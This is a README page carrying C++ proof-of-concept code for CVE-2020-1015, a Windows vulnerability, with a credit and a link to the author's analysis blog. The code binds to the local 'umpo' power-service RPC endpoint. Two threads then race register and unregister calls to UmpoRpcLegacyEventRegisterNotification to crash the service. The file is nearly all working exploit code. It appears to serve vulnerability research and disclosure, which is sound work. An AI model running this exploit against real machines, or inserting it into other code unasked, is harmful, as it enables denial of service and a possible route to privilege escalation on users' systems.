README.md
Rendering markdown...
/*
CVE-2020-1015 PoC Crash written by @0xeb_bp
more information at https://0xeb-bp.github.io/blog/2020/05/12/cve-2020-1015-analysis.html
*/
#include <iostream>
#include "Source_h.h"
DWORD WINAPI register_thread(LPVOID lpParameter)
{
handle_t PowerServiceHandle = *((handle_t*)lpParameter);
wchar_t service_name[] = {0x4141, 0x4141, 0x4141, 0x4141,
0x4242, 0x4242, 0x4242, 0x4242,
0x4343, 0x4343, 0x4343, 0x4343,
0x4444, 0x4444, 0x4444, 0x4444,
0x4545, 0x4545, 0x4545, 0x4545,
0x4646, 0x4646, 0x4646, 0x0000};
while (1) {
RpcTryExcept
{
// Calls the RPC function
UmpoRpcLegacyEventRegisterNotification(
// Handle
PowerServiceHandle,
// Handle
0x1337,
// Service Name
service_name,
// Deref = 1, Register = 0
0);
}
RpcExcept(1)
{
std::cerr << "Runtime reported exception " << RpcExceptionCode()
<< std::endl;
}
RpcEndExcept
}
return 0;
}
DWORD WINAPI unregister_thread(LPVOID lpParameter)
{
handle_t PowerServiceHandle = *((handle_t*)lpParameter);
wchar_t service_name[] = {0x4141, 0x4141, 0x4141, 0x4141,
0x4242, 0x4242, 0x4242, 0x4242,
0x4343, 0x4343, 0x4343, 0x4343,
0x4444, 0x4444, 0x4444, 0x4444,
0x4545, 0x4545, 0x4545, 0x4545,
0x4646, 0x4646, 0x4646, 0x0000};
while (1) {
// add some randomization
long reg = rand() % 2;
RpcTryExcept
{
// Calls the RPC function
UmpoRpcLegacyEventRegisterNotification(
// Handle
PowerServiceHandle,
// Handle
0x1337,
// Service Name
service_name,
// Deref = 1, Register = 0
reg);
}
RpcExcept(1)
{
std::cerr << "Runtime reported exception " << RpcExceptionCode()
<< std::endl;
}
RpcEndExcept
}
return 0;
}
int main()
{
RPC_STATUS status;
RPC_CSTR szStringBinding = NULL;
handle_t PowerServiceHandle = NULL;
// Create string binding handle
status = RpcStringBindingComposeA(
// UUID
NULL,
// Protocol
(RPC_CSTR)("ncalrpc"),
// TCP/IP network address to use
NULL,
// Endpoint
(RPC_CSTR)("umpo"),
// Protocol dependent network options to use
(RPC_CSTR)("Security=Impersonation Dynamic True"),
// String binding output
&szStringBinding);
if (status) {
std::cout << "Error RpcStringBindingComposeA" << std::endl;
exit(status);
}
// Create binding handle
status = RpcBindingFromStringBindingA(
szStringBinding,
&PowerServiceHandle);
if (status)
exit(status);
// Create threads
HANDLE t1 = CreateThread(0, 0, register_thread, &PowerServiceHandle, 0, 0);
HANDLE t2 = CreateThread(0, 0, unregister_thread, &PowerServiceHandle, 0, 0);
// Basic exit
char exit_input = ' ';
while(exit_input != 'q')
{
exit_input = getchar();
}
// cleanup
CloseHandle(t1);
CloseHandle(t2);
RpcStringFreeA(&szStringBinding);
RpcBindingFree(&PowerServiceHandle);
std::cout << "Ending..." << std::endl;
return 0;
}
// Memory allocation function for RPC
// The runtime uses these two functions for allocating/deallocating
void* __RPC_USER midl_user_allocate(size_t size)
{
return malloc(size);
}
// Memory deallocation function for RPC.
void __RPC_USER midl_user_free(void* p)
{
free(p);
}